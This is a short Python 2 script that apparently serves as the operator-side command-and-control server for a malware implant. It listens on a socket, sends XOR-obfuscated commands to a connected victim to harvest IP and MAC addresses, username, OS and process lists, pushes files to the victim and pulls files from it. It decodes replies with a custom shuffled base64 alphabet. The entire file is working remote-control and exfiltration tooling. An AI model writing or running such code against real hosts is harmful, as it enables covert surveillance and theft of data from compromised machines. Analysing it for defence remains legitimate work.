import socket
from string import maketrans
import base64

HOST = '172.16.66.1'
PORT = 8080

commands = ['IP ADDRESS', 'MAC ADDRESS', 'USERNAME', 'OS', 'PROCESSES', 'UPLOAD', 'DOWNLOAD', 'QUIT']

def decode_base64(data):
    dict = "uLoqK3h57MieJNUPzmdG1A9DCZBtjwlOVWaYTcx2pI/g0rb+4SfE6nFRHvyXkQs8"
    b64 =  "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

    translation_tab = maketrans(dict, b64)
    result = data.translate(translation_tab)

    result += '='
    return base64.decodestring(result)

#this function xor encodes the data
def xor_encode(data):
    xored_data = ""
    for c in data:
        xored_data += chr(ord(c) ^ 0x88)
    xored_data += chr(0)
    return xored_data

def main():

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((HOST, PORT))
    s.listen(1)
    conn, addr = s.accept()

    while (1):
        #command = "UPLOAD"
    	command = raw_input("Enter a command> ").upper()
    	if command not in commands:
    		print ("Invalid Command")
    		continue

        if (command == "QUIT"):
            s.close()
            break
        conn.send(xor_encode(command))
        if (command == "UPLOAD"):
            filename = raw_input("Enter a filename> ")
            with open(filename, 'rb') as f:
                content = f.read()
                conn.send(xor_encode(content))
            continue

        if (command == "DOWNLOAD"):
            path = raw_input("Enter a path> ")
            data = conn.recv(100000)
            filedata = decode_base64(data)
            with open(path, 'w') as f:
                f.write(filedata)
            continue

    	data = conn.recv(10000)
    	print decode_base64(data)

main()
